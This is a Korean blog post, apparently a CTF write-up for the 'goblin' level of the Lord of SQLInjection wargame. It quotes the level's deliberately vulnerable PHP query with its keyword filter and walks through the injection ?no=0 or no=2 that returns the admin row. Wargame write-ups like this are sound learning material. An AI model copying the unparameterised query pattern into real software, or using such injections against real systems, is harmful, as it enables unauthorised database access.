blacksalamander
goblin 본문
Source Code
Analysis
Source Code에 대한 자세한 설명은 아래 링크로 이동하길 바란다.
<?php
...
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
...
if($result['id'] == 'admin') solve("goblin");
...
?>
no를 GET 방식으로 입력하며 정규식 패턴은 prob, _, ., (, ), ', ", `이며 대소문자 구분이 없다.
query 문을 해석하면, prob_goblin , prob_goblin 테이블에서 id가 guest이고 no가 GET 방식으로 입력한 no일 때 id를 출력하라 라고 볼 수 있다.
마지막으로, id가 admin이어야 한다.
Injection
먼저, no에 값을 입력했을 때 반응을 파악해보도록 한다.
no에 여러 값들을 넣어서 확인한 결과,
1을 입력했을 때 Hello guest 라는 문구를 띄우며 반응하는 것을 확인했으며 정수를 입력 받는 것으로 판단된다.
no 값에 따라 id가 달라지는 것을 확인했으므로
query 문의 where 절에서 id='guest' and no={$_GET}을 False로 만들어주고
id가 admin인 no 값을 입력하면 성공할 것으로 예상된다.
https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or no=value
-> $query = "select id from prob_goblin where id='guest' and no=0 or no=value"
-> $query = "select id from prob_goblin where False or no=value"
URL에 ?no=0 or no=value 같은 형태로 입력한다.
처음 no 값에 0을 입력하여 False로 만들어주며
다음 no 값인 value에 id가 admin인 no 값을 입력한다.
no에 여러 값들을 넣어서 확인한 결과, 2를 입력했을 때 Hello admin 라는 문구를 띄우며 성공한다.
https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or no=2
URL에 ?no=0 or no=2을 입력한다.
'Lord of SQLInjection' 카테고리의 다른 글
cobolt (0) | 2020.02.16 |
---|---|
gremlin (0) | 2020.02.15 |